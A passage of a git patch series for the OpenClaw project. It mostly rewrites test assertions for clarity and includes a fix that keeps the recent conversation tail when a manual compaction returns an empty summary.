describe("Dockerfile", () => { expect(collapsed).toContain("update-ca-certificates"); }); - it("installs python3 in the slim runtime stage for workspace scripts", async () => { + it("installs python3 and tini in the slim runtime stage", async () => { const dockerfile = collapseDockerContinuations(await readFile(dockerfilePath, "utf8")); const runtimeIndex = dockerfile.indexOf( "FROM ${OPENCLAW_NODE_BOOKWORM_SLIM_IMAGE} AS base-runtime", @@ -59,7 +59,10 @@ describe("Dockerfile", () => { expect(runtimeIndex).toBeGreaterThan(-1); expect(pythonInstallIndex).toBeGreaterThan(runtimeIndex); expect(pythonInstallIndex).toBeLessThan(dockerfile.indexOf("RUN chown node:node /app")); - expect(dockerfile).toContain("ca-certificates procps hostname curl git lsof openssl python3"); + expect(dockerfile).toContain( + "ca-certificates procps hostname curl git lsof openssl python3 tini", + ); + expect(dockerfile).toContain('ENTRYPOINT ["tini", "-s", "--"]'); }); it("installs optional browser dependencies after pnpm install", async () => { From 1ae3e5b527fd88d05672233b8bd4ade4ebeb63f3 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:50:28 +0100 Subject: [PATCH 114/174] test: clarify hook workspace assertions --- src/hooks/workspace.test.ts | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/src/hooks/workspace.test.ts b/src/hooks/workspace.test.ts index b0c8a561e3e..974faa6612c 100644 --- a/src/hooks/workspace.test.ts +++ b/src/hooks/workspace.test.ts @@ -49,6 +49,10 @@ function tryCreateHardlinkOrSkip(createLink: () => void): boolean { } } +function hookNames(entries: ReturnType): string[] { + return entries.map((entry) => entry.hook.name); +} + describe("hooks workspace", () => { it("ignores package.json hook paths that traverse outside package directory", () => { const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-hooks-workspace-")); @@ -66,7 +70,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["../outside"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toContain("outside"); }); it("accepts package.json hook paths within package directory", () => { @@ -84,7 +88,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["./nested"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "nested")).toBe(true); + expect(hookNames(entries)).toContain("nested"); }); it("ignores package.json hook paths that escape via symlink", () => { @@ -108,7 +112,7 @@ describe("hooks workspace", () => { writeHookPackageManifest(pkgDir, ["./linked"]); const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toContain("outside"); }); it("ignores hooks with hardlinked HOOK.md aliases", () => { @@ -128,8 +132,7 @@ describe("hooks workspace", () => { } const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "hardlink-hook")).toBe(false); - expect(entries.some((e) => e.hook.name === "outside")).toBe(false); + expect(hookNames(entries)).not.toEqual(expect.arrayContaining(["hardlink-hook", "outside"])); }); it("ignores hooks with hardlinked handler aliases", () => { @@ -147,7 +150,7 @@ describe("hooks workspace", () => { } const entries = loadHookEntriesFromDir({ dir: hooksRoot, source: "openclaw-workspace" }); - expect(entries.some((e) => e.hook.name === "hardlink-handler-hook")).toBe(false); + expect(hookNames(entries)).not.toContain("hardlink-handler-hook"); }); it("does not let workspace hooks override managed hooks with the same name", () => { From c2ffe1fd043c069646439d72b7de1be632b4d3e2 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:51:51 +0100 Subject: [PATCH 115/174] test: remove redundant service path assertions --- src/daemon/service-env.test.ts | 9 --------- 1 file changed, 9 deletions(-) diff --git a/src/daemon/service-env.test.ts b/src/daemon/service-env.test.ts index 37ce0574272..baef93dc5f5 100644 --- a/src/daemon/service-env.test.ts +++ b/src/daemon/service-env.test.ts @@ -47,11 +47,6 @@ describe("getMinimalServicePathParts - Linux user directories", () => { // Should only include system directories expect(result).toEqual(["/usr/local/bin", "/usr/bin", "/bin"]); - - // Should not include any user-specific paths - expect(result.some((p) => p.includes(".local"))).toBe(false); - expect(result.some((p) => p.includes(".npm-global"))).toBe(false); - expect(result.some((p) => p.includes(".nvm"))).toBe(false); }); it("places user directories before system directories on Linux", () => { @@ -119,7 +114,6 @@ describe("getMinimalServicePathParts - Linux user directories", () => { }); expect(result).toEqual(["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]); - expect(result.some((entry) => entry.startsWith("/Users/testuser/"))).toBe(false); }); it("can include env-configured version manager dirs on macOS when requested", () => { @@ -496,9 +490,6 @@ describe("buildMinimalServicePath", () => { // Should only have system directories expect(parts).toEqual(["/usr/local/bin", "/usr/bin", "/bin"]); - - // No user-specific paths - expect(parts.some((p) => p.includes("home"))).toBe(false); }); it("ensures user directories come before system directories on Linux", () => { From 9bcfc93adafaebfb9127d165989187247c4b9344 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:53:40 +0100 Subject: [PATCH 116/174] test: clarify qa scenario catalog assertions --- .../qa-lab/src/scenario-catalog.test.ts | 38 ++++++++++++------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/extensions/qa-lab/src/scenario-catalog.test.ts b/extensions/qa-lab/src/scenario-catalog.test.ts index a4c64f631f9..1e1b23c54cf 100644 --- a/extensions/qa-lab/src/scenario-catalog.test.ts +++ b/extensions/qa-lab/src/scenario-catalog.test.ts @@ -20,14 +20,27 @@ describe("qa scenario catalog", () => { expect(listQaScenarioMarkdownPaths()).toContain( "qa/scenarios/media/image-generation-roundtrip.md", ); - expect(pack.scenarios.some((scenario) => scenario.id === "image-generation-roundtrip")).toBe( - true, + const scenarioIds = pack.scenarios.map((scenario) => scenario.id); + expect(scenarioIds).toEqual( + expect.arrayContaining([ + "image-generation-roundtrip", + "character-vibes-gollum", + "character-vibes-c3po", + ]), ); - expect(pack.scenarios.some((scenario) => scenario.id === "character-vibes-gollum")).toBe(true); - expect(pack.scenarios.some((scenario) => scenario.id === "character-vibes-c3po")).toBe(true); - expect(pack.scenarios.every((scenario) => scenario.execution?.kind === "flow")).toBe(true); - expect(pack.scenarios.some((scenario) => scenario.execution.flow?.steps.length)).toBe(true); - expect(pack.scenarios.every((scenario) => scenario.coverage?.primary.length)).toBe(true); + expect( + pack.scenarios + .filter((scenario) => scenario.execution?.kind !== "flow") + .map((scenario) => scenario.id), + ).toEqual([]); + expect( + pack.scenarios.filter((scenario) => (scenario.execution.flow?.steps.length ?? 0) > 0), + ).not.toEqual([]); + expect( + pack.scenarios + .filter((scenario) => !(scenario.coverage?.primary.length ?? 0)) + .map((scenario) => scenario.id), + ).toEqual([]); expect(readQaScenarioById("memory-recall").coverage?.primary).toContain("memory.recall"); }); @@ -36,14 +49,11 @@ describe("qa scenario catalog", () => { expect(catalog.agentIdentityMarkdown).toContain("protocol-minded"); expect(catalog.kickoffTask).toContain("Track what worked"); - expect(catalog.scenarios.some((scenario) => scenario.id === "subagent-fanout-synthesis")).toBe( - true, - ); + const scenarioIds = catalog.scenarios.map((scenario) => scenario.id); + expect(scenarioIds).toContain("subagent-fanout-synthesis"); expect( - QA_AGENTIC_PARITY_SCENARIO_IDS.every((scenarioId) => - catalog.scenarios.some((scenario) => scenario.id === scenarioId), - ), - ).toBe(true); + QA_AGENTIC_PARITY_SCENARIO_IDS.filter((scenarioId) => !scenarioIds.includes(scenarioId)), + ).toEqual([]); }); it("loads scenario-specific execution config from per-scenario markdown", () => { From 9730be1bbad6d99617cc5e0c70e69794806f36b3 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:55:31 +0100 Subject: [PATCH 117/174] test: reuse daemon service audit helper --- src/daemon/service-audit.test.ts | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/src/daemon/service-audit.test.ts b/src/daemon/service-audit.test.ts index e9297cb05d4..06b0b750eb2 100644 --- a/src/daemon/service-audit.test.ts +++ b/src/daemon/service-audit.test.ts @@ -74,9 +74,7 @@ describe("auditGatewayServiceConfig", () => { environment: { PATH: "/usr/bin:/bin" }, }, }); - expect(audit.issues.some((issue) => issue.code === SERVICE_AUDIT_CODES.gatewayRuntimeBun)).toBe( - true, - ); + expect(hasIssue(audit, SERVICE_AUDIT_CODES.gatewayRuntimeBun)).toBe(true); }); it("flags version-managed node paths", async () => { From 29689c62d079ea98595acd5e0f166ca862714875 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:56:51 +0100 Subject: [PATCH 118/174] test: clarify bootstrap extra path assertion --- src/hooks/bundled/bootstrap-extra-files/handler.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/hooks/bundled/bootstrap-extra-files/handler.test.ts b/src/hooks/bundled/bootstrap-extra-files/handler.test.ts index d2018e20b43..9840db63add 100644 --- a/src/hooks/bundled/bootstrap-extra-files/handler.test.ts +++ b/src/hooks/bundled/bootstrap-extra-files/handler.test.ts @@ -68,8 +68,8 @@ describe("bootstrap-extra-files hook", () => { const injected = context.bootstrapFiles.filter((f) => f.name === "AGENTS.md"); expect(injected).toHaveLength(2); - expect(injected.some((f) => f.path.endsWith(path.join("packages", "core", "AGENTS.md")))).toBe( - true, + expect(injected.map((f) => path.relative(tempDir, f.path))).toContain( + path.join("packages", "core", "AGENTS.md"), ); }); From 2c7c57d5197bd7e6e93104f72fd5c67c8264e9fb Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:58:25 +0100 Subject: [PATCH 119/174] test: clarify feishu validation assertions --- extensions/feishu/src/config-schema.test.ts | 4 +--- extensions/feishu/src/security-audit.test.ts | 10 ++++------ 2 files changed, 5 insertions(+), 9 deletions(-) diff --git a/extensions/feishu/src/config-schema.test.ts b/extensions/feishu/src/config-schema.test.ts index 9477925f561..2656f723a22 100644 --- a/extensions/feishu/src/config-schema.test.ts +++ b/extensions/feishu/src/config-schema.test.ts @@ -315,9 +315,7 @@ describe("FeishuConfigSchema defaultAccount", () => { expect(result.success).toBe(false); if (!result.success) { - expect(result.error.issues.some((issue) => issue.path.join(".") === "defaultAccount")).toBe( - true, - ); + expect(result.error.issues.map((issue) => issue.path.join("."))).toContain("defaultAccount"); } }); }); diff --git a/extensions/feishu/src/security-audit.test.ts b/extensions/feishu/src/security-audit.test.ts index edeb0e29aeb..e6109a72cfe 100644 --- a/extensions/feishu/src/security-audit.test.ts +++ b/extensions/feishu/src/security-audit.test.ts @@ -47,15 +47,13 @@ describe("Feishu security audit findings", () => { }, ])("$name", ({ cfg, expectedFinding, expectedNoFinding }) => { const findings = collectFeishuSecurityAuditFindings({ cfg }); + const findingKeys = findings.map((finding) => `${finding.checkId}:${finding.severity}`); + const checkIds = findings.map((finding) => finding.checkId); if (expectedFinding) { - expect( - findings.some( - (finding) => finding.checkId === expectedFinding && finding.severity === "warn", - ), - ).toBe(true); + expect(findingKeys).toContain(`${expectedFinding}:warn`); } if (expectedNoFinding) { - expect(findings.some((finding) => finding.checkId === expectedNoFinding)).toBe(false); + expect(checkIds).not.toContain(expectedNoFinding); } }); }); From 94ceddc481450f94ed940495f0b49b369951ef55 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 08:59:42 +0100 Subject: [PATCH 120/174] test: clarify config schema child assertion --- src/config/schema.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index c74535405b5..748ebe16a3c 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -475,7 +475,7 @@ describe("config schema", () => { const lookup = lookupConfigSchema(baseSchema, "gateway.auth"); expect(lookup?.path).toBe("gateway.auth"); expect(lookup?.hintPath).toBe("gateway.auth"); - expect(lookup?.children.some((child) => child.key === "token")).toBe(true); + expect(lookup?.children.map((child) => child.key)).toContain("token"); const tokenChild = lookup?.children.find((child) => child.key === "token"); expect(tokenChild?.path).toBe("gateway.auth.token"); expect(tokenChild?.hint?.sensitive).toBe(true); From 09f83bfec03521acd2500d383201072e01db201a Mon Sep 17 00:00:00 2001 From: scoootscooob <167050519+scoootscooob@users.noreply.github.com> Date: Fri, 8 May 2026 01:00:20 -0700 Subject: [PATCH 121/174] fix(compaction): preserve tail for empty manual compact Manual /compact now preserves Pi's recent tail when the compaction input has no summarizable messages or yields an empty summary, avoiding an empty checkpoint that drops live context. Verification: - pnpm test src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts -- --reporter=verbose - pnpm exec oxfmt --check --threads=1 src/agents/pi-embedded-runner/manual-compaction-boundary.ts src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts - git diff --check -- src/agents/pi-embedded-runner/manual-compaction-boundary.ts src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts CHANGELOG.md - Local gateway proof in PR body: real sessions.compact preserved the recent tail while the provider saw an empty conversation. Note: checks-node-auto-reply-reply-dispatch is already failing on upstream/main with the same four dispatch-from-config.test.ts assertions; this PR only touches compaction boundary files. --- CHANGELOG.md | 1 + .../manual-compaction-boundary.test.ts | 61 +++++++++++++++++++ .../manual-compaction-boundary.ts | 58 ++++++++++++++++-- 3 files changed, 116 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ff1f1cdcd67..d5f96341eb0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -183,6 +183,7 @@ Docs: https://docs.openclaw.ai ### Fixes +- Agents/compaction: keep the recent tail after manual `/compact` when Pi returns an empty or no-op compaction summary, preventing blank checkpoints from replacing the live context. - fix(discord): gate user allowlist name resolution [AI]. (#79002) Thanks @pgondhi987. - fix(msteams): gate startup user allowlist resolution [AI]. (#79003) Thanks @pgondhi987. - Harden macOS shell wrapper allowlist parsing [AI]. (#78518) Thanks @pgondhi987. diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts b/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts index fb14b807034..de12933f76e 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts +++ b/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts @@ -157,6 +157,67 @@ describe("hardenManualCompactionBoundary", () => { ]); }); + it("keeps the recent tail when manual compaction produced an empty summary", async () => { + const dir = await makeTmpDir(); + const session = SessionManager.create(dir, dir); + + session.appendMessage({ role: "user", content: "old question", timestamp: 1 }); + session.appendMessage(createAssistantTextMessage("old answer", 2)); + session.appendMessage({ role: "user", content: "fresh question", timestamp: 3 }); + const keepId = requireString(session.getBranch().at(-1)?.id, "keep id"); + session.appendMessage(createAssistantTextMessage("fresh answer", 4)); + session.appendCompaction("", keepId, 200); + const sessionFile = requireString(session.getSessionFile(), "session file"); + + const hardened = await hardenManualCompactionBoundary({ sessionFile }); + expect(hardened.applied).toBe(false); + expect(hardened.firstKeptEntryId).toBe(keepId); + expect(hardened.messages.map((message) => message.role)).toEqual([ + "compactionSummary", + "user", + "assistant", + ]); + expect(hardened.messages.map((message) => messageText(message)).join("\n")).toContain( + "fresh question", + ); + + const reopened = SessionManager.open(sessionFile); + const latest = reopened.getLeafEntry(); + expect(latest?.type).toBe("compaction"); + if (!latest || latest.type !== "compaction") { + throw new Error("expected latest leaf to be a compaction entry"); + } + expect(latest.firstKeptEntryId).toBe(keepId); + }); + + it("keeps the recent tail when manual compaction had no messages to summarize", async () => { + const dir = await makeTmpDir(); + const session = SessionManager.create(dir, dir); + + session.appendMessage({ role: "user", content: "fresh question", timestamp: 1 }); + const keepId = requireString(session.getBranch().at(-1)?.id, "keep id"); + session.appendMessage(createAssistantTextMessage("fresh answer", 2)); + session.appendCompaction("No prior history.", keepId, 200); + const sessionFile = requireString(session.getSessionFile(), "session file"); + + const hardened = await hardenManualCompactionBoundary({ sessionFile }); + expect(hardened.applied).toBe(false); + expect(hardened.firstKeptEntryId).toBe(keepId); + expect(hardened.messages.map((message) => message.role)).toEqual([ + "compactionSummary", + "user", + "assistant", + ]); + + const reopened = SessionManager.open(sessionFile); + const latest = reopened.getLeafEntry(); + expect(latest?.type).toBe("compaction"); + if (!latest || latest.type !== "compaction") { + throw new Error("expected latest leaf to be a compaction entry"); + } + expect(latest.firstKeptEntryId).toBe(keepId); + }); + it("is a no-op when the latest leaf is not a compaction entry", async () => { const dir = await makeTmpDir(); const session = SessionManager.create(dir, dir); diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts b/src/agents/pi-embedded-runner/manual-compaction-boundary.ts index c615d877c67..2a1ebb05361 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts +++ b/src/agents/pi-embedded-runner/manual-compaction-boundary.ts @@ -33,6 +33,42 @@ function replaceLatestCompactionBoundary(params: { }); } +function entryCreatesCompactionInputMessage(entry: SessionEntry): boolean { + return ( + entry.type === "message" || entry.type === "custom_message" || entry.type === "branch_summary" + ); +} + +function hasMessagesToSummarizeBeforeKeptTail(params: { + branch: SessionEntry[]; + compaction: CompactionEntry; +}): boolean { + const compactionIndex = params.branch.findIndex((entry) => entry.id === params.compaction.id); + const firstKeptIndex = params.branch.findIndex( + (entry) => entry.id === params.compaction.firstKeptEntryId, + ); + if (compactionIndex <= 0 || firstKeptIndex < 0 || firstKeptIndex >= compactionIndex) { + return false; + } + + let boundaryStartIndex = 0; + for (let i = compactionIndex - 1; i >= 0; i -= 1) { + const entry = params.branch[i]; + if (entry?.type !== "compaction") { + continue; + } + const previousFirstKeptIndex = params.branch.findIndex( + (candidate) => candidate.id === entry.firstKeptEntryId, + ); + boundaryStartIndex = previousFirstKeptIndex >= 0 ? previousFirstKeptIndex : i + 1; + break; + } + + return params.branch + .slice(boundaryStartIndex, firstKeptIndex) + .some((entry) => entryCreatesCompactionInputMessage(entry)); +} + export async function hardenManualCompactionBoundary(params: { sessionFile: string; preserveRecentTail?: boolean; @@ -56,8 +92,8 @@ export async function hardenManualCompactionBoundary(params: { }; } + const sessionContext = state.buildSessionContext(); if (params.preserveRecentTail) { - const sessionContext = state.buildSessionContext(); return { applied: false, firstKeptEntryId: leaf.firstKeptEntryId, @@ -67,7 +103,6 @@ export async function hardenManualCompactionBoundary(params: { } if (leaf.firstKeptEntryId === leaf.id) { - const sessionContext = state.buildSessionContext(); return { applied: false, firstKeptEntryId: leaf.id, @@ -76,6 +111,21 @@ export async function hardenManualCompactionBoundary(params: { }; } + if ( + !leaf.summary.trim() || + !hasMessagesToSummarizeBeforeKeptTail({ + branch: state.getBranch(leaf.id), + compaction: leaf, + }) + ) { + return { + applied: false, + firstKeptEntryId: leaf.firstKeptEntryId, + leafId: state.getLeafId() ?? undefined, + messages: sessionContext.messages, + }; + } + const replacedEntries = replaceLatestCompactionBoundary({ entries: state.getEntries(), compactionEntryId: leaf.id, @@ -86,11 +136,11 @@ export async function hardenManualCompactionBoundary(params: { }); await writeTranscriptFileAtomic(params.sessionFile, [header, ...replacedEntries]); - const sessionContext = replacedState.buildSessionContext(); + const replacedSessionContext = replacedState.buildSessionContext(); return { applied: true, firstKeptEntryId: leaf.id, leafId: replacedState.getLeafId() ?? undefined, - messages: sessionContext.messages, + messages: replacedSessionContext.messages, }; } From 69c1487e0b923a43d48b18c288e4a1fc6c19c3ab Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:01:04 +0100 Subject: [PATCH 122/174] test: clarify feishu streaming status assertions --- extensions/feishu/src/reply-dispatcher.test.ts | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/extensions/feishu/src/reply-dispatcher.test.ts b/extensions/feishu/src/reply-dispatcher.test.ts index 8cc29f5ee0e..85d36c61721 100644 --- a/extensions/feishu/src/reply-dispatcher.test.ts +++ b/extensions/feishu/src/reply-dispatcher.test.ts @@ -1138,7 +1138,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect(updateTexts.some((text) => text.includes("🔎 Web Search"))).toBe(true); + expect(updateTexts).toEqual(expect.arrayContaining([expect.stringContaining("🔎 Web Search")])); expect(streamingInstances[0].close).toHaveBeenCalledWith("final answer", { note: "Agent: agent", }); @@ -1171,9 +1171,11 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect( - updateTexts.some((text) => text.includes("🛠️ Exec: run tests, `pnpm test -- --watch=false`")), - ).toBe(true); + expect(updateTexts).toEqual( + expect.arrayContaining([ + expect.stringContaining("🛠️ Exec: run tests, `pnpm test -- --watch=false`"), + ]), + ); }); it("omits message-like tools from streaming card status", async () => { @@ -1199,7 +1201,7 @@ describe("createFeishuReplyDispatcher streaming behavior", () => { const updateTexts = streamingInstances[0].update.mock.calls.map((call: unknown[]) => typeof call[0] === "string" ? call[0] : "", ); - expect(updateTexts.some((text) => text.includes("Message"))).toBe(false); + expect(updateTexts).not.toEqual(expect.arrayContaining([expect.stringContaining("Message")])); }); it("does not suppress a later final after error closeout", async () => { From 544c0468c170ea48eecd0ce27c9b80c5b17c9042 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:02:30 +0100 Subject: [PATCH 123/174] test: clarify qa bus search assertions --- extensions/qa-lab/src/bus-state.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/qa-lab/src/bus-state.test.ts b/extensions/qa-lab/src/bus-state.test.ts index e8ef9cfdfe1..b07722c22a7 100644 --- a/extensions/qa-lab/src/bus-state.test.ts +++ b/extensions/qa-lab/src/bus-state.test.ts @@ -165,11 +165,11 @@ describe("qa-bus state", () => { const byFilename = state.searchMessages({ query: "screenshot", }); - expect(byFilename.some((message) => message.id === outbound.id)).toBe(true); + expect(byFilename.map((message) => message.id)).toContain(outbound.id); const byAltText = state.searchMessages({ query: "dashboard", }); - expect(byAltText.some((message) => message.id === outbound.id)).toBe(true); + expect(byAltText.map((message) => message.id)).toContain(outbound.id); }); }); From f992dd61f144f8596fcd0026f9a73413e8d034ec Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:03:59 +0100 Subject: [PATCH 124/174] test: clarify qa whatsapp boundary assertion --- .../src/live-transports/whatsapp/whatsapp-boundary.test.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts b/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts index fa2eb05d3b3..a7d7ed292a5 100644 --- a/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts +++ b/extensions/qa-lab/src/live-transports/whatsapp/whatsapp-boundary.test.ts @@ -28,6 +28,10 @@ describe("WhatsApp QA transport boundary", () => { expect(source, file).not.toMatch(/extensions\/whatsapp\/src/u); expect(source, file).not.toMatch(/@openclaw\/whatsapp\/src/u); } - expect(sources.some(([, source]) => source.includes("@openclaw/whatsapp/api.js"))).toBe(true); + expect( + sources + .filter(([, source]) => source.includes("@openclaw/whatsapp/api.js")) + .map(([file]) => path.relative(process.cwd(), file)), + ).toContain("extensions/qa-lab/src/live-transports/whatsapp/whatsapp-live.runtime.ts"); }); }); From 5bb23c2f95b644c7f98b95f099ad7363d2f86a9d Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:05:03 +0100 Subject: [PATCH 125/174] test: clarify qa parity failure assertion --- extensions/qa-lab/src/agentic-parity-report.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/qa-lab/src/agentic-parity-report.test.ts b/extensions/qa-lab/src/agentic-parity-report.test.ts index 042b5281f69..53b664ddd0d 100644 --- a/extensions/qa-lab/src/agentic-parity-report.test.ts +++ b/extensions/qa-lab/src/agentic-parity-report.test.ts @@ -277,7 +277,9 @@ describe("qa agentic parity report", () => { // Metric comparisons are relative, so a same-on-both-sides failure // must not appear as a relative metric failure. The required-scenario // failure line is the only thing keeping the gate honest here. - expect(comparison.failures.some((failure) => failure.includes("completion rate"))).toBe(false); + expect(comparison.failures.filter((failure) => failure.includes("completion rate"))).toEqual( + [], + ); }); it("fails the parity gate when a required parity scenario fails on the candidate only", () => { From 5989a9ad604f2cc486ed8109ee62f9bd9d71a57e Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:06:21 +0100 Subject: [PATCH 126/174] test: clarify config io assertions --- src/config/io.best-effort.test.ts | 2 +- src/config/io.eacces.test.ts | 2 +- src/config/io.write-config.test.ts | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/config/io.best-effort.test.ts b/src/config/io.best-effort.test.ts index d60a3069854..78894b43b28 100644 --- a/src/config/io.best-effort.test.ts +++ b/src/config/io.best-effort.test.ts @@ -24,7 +24,7 @@ describe("readBestEffortConfig", () => { expect(snapshot.sourceConfig).toEqual({ update: { channel: "beta" } }); expect(await fs.readFile(configPath, "utf-8")).toBe(directEditRaw); const entries = await fs.readdir(`${home}/.openclaw`); - expect(entries.some((entry) => entry.startsWith("openclaw.json.clobbered."))).toBe(false); + expect(entries.filter((entry) => entry.startsWith("openclaw.json.clobbered."))).toEqual([]); }); }); diff --git a/src/config/io.eacces.test.ts b/src/config/io.eacces.test.ts index ab56e27a659..d1c50c1b3bd 100644 --- a/src/config/io.eacces.test.ts +++ b/src/config/io.eacces.test.ts @@ -42,7 +42,7 @@ describe("config io EACCES handling", () => { expect(snapshot.issues[0].message).toContain("chown"); expect(snapshot.issues[0].message).toContain(configPath); // Should also emit to the logger - expect(errors.some((e) => e.includes("chown"))).toBe(true); + expect(errors).toEqual(expect.arrayContaining([expect.stringContaining("chown")])); }); it("includes configPath in the chown hint for the correct remediation command", async () => { diff --git a/src/config/io.write-config.test.ts b/src/config/io.write-config.test.ts index 0b7705a8f2a..fecf0ac8f77 100644 --- a/src/config/io.write-config.test.ts +++ b/src/config/io.write-config.test.ts @@ -741,7 +741,7 @@ describe("config io write", () => { ]); await expect(fs.readFile(configPath, "utf-8")).resolves.toBe(cleanRaw); const entries = await fs.readdir(path.dirname(configPath)); - expect(entries.some((entry) => entry.includes(".clobbered."))).toBe(true); + expect(entries.filter((entry) => entry.includes(".clobbered."))).toHaveLength(1); expect(warn).toHaveBeenCalledWith( expect.stringContaining("Config auto-stripped non-JSON prefix:"), ); @@ -830,7 +830,7 @@ describe("config io write", () => { await expect(fs.readFile(configPath, "utf-8")).resolves.toBe(originalRaw); const entries = await fs.readdir(path.dirname(configPath)); - expect(entries.some((entry) => entry.includes(".rejected."))).toBe(true); + expect(entries.filter((entry) => entry.includes(".rejected."))).toHaveLength(1); expect(warn).toHaveBeenCalledWith(expect.stringContaining("Config write rejected:")); }); }); From a6bbcd0a01f8376bfd8a4dd81faf2d77c66a0512 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:07:27 +0100 Subject: [PATCH 127/174] test: clarify config pdf limit assertion --- src/config/config.schema-regressions.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/config/config.schema-regressions.test.ts b/src/config/config.schema-regressions.test.ts index 6bfade346c8..e7a85a3c24d 100644 --- a/src/config/config.schema-regressions.test.ts +++ b/src/config/config.schema-regressions.test.ts @@ -214,7 +214,9 @@ describe("config schema regressions", () => { expect(res.ok).toBe(false); if (!res.ok) { - expect(res.issues.some((issue) => issue.path.includes("agents.defaults.pdfMax"))).toBe(true); + expect(res.issues.map((issue) => issue.path)).toEqual( + expect.arrayContaining(["agents.defaults.pdfMaxBytesMb", "agents.defaults.pdfMaxPages"]), + ); } }); From c94641c08bca6991b6e353ec43e84d46f0c24226 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Fri, 8 May 2026 09:09:16 +0100 Subject: [PATCH 128/174] test: clarify launchd command assertions --- src/daemon/launchd.test.ts | 60 ++++++++++++++++++++------------------ 1 file changed, 32 insertions(+), 28 deletions(-) diff --git a/src/daemon/launchd.test.ts b/src/daemon/launchd.test.ts index 3ebccce75b2..01aa3fadd2a 100644 --- a/src/daemon/launchd.test.ts +++ b/src/daemon/launchd.test.ts @@ -109,6 +109,10 @@ async function expectRestartLaunchAgentKickstartFailure( ).rejects.toThrow("launchctl kickstart failed: Input/output error"); } +function launchctlCommandNames(): string[] { + return state.launchctlCalls.map(([command]) => command ?? ""); +} + function normalizeLaunchctlArgs(file: string, args: string[]): string[] { if (file === "launchctl") { return args; @@ -400,7 +404,7 @@ describe("launchd bootstrap repair", () => { expect(repair).toEqual({ ok: true, status: "repaired" }); expectLaunchctlEnableBootstrapOrder(env); - expect(state.launchctlCalls.some((call) => call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("treats bootstrap exit 130 as success and nudges the already-loaded service when stopped", async () => { @@ -426,7 +430,7 @@ describe("launchd bootstrap repair", () => { const repair = await repairLaunchAgentBootstrap({ env }); expect(repair).toEqual({ ok: true, status: "already-loaded" }); - expect(state.launchctlCalls.some((call) => call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("treats 'already exists in domain' bootstrap failures as success and nudges the service when stopped", async () => { @@ -455,7 +459,7 @@ describe("launchd bootstrap repair", () => { status: "bootstrap-failed", detail: expect.stringContaining("Could not find specified service"), }); - expect(state.launchctlCalls.some((call) => 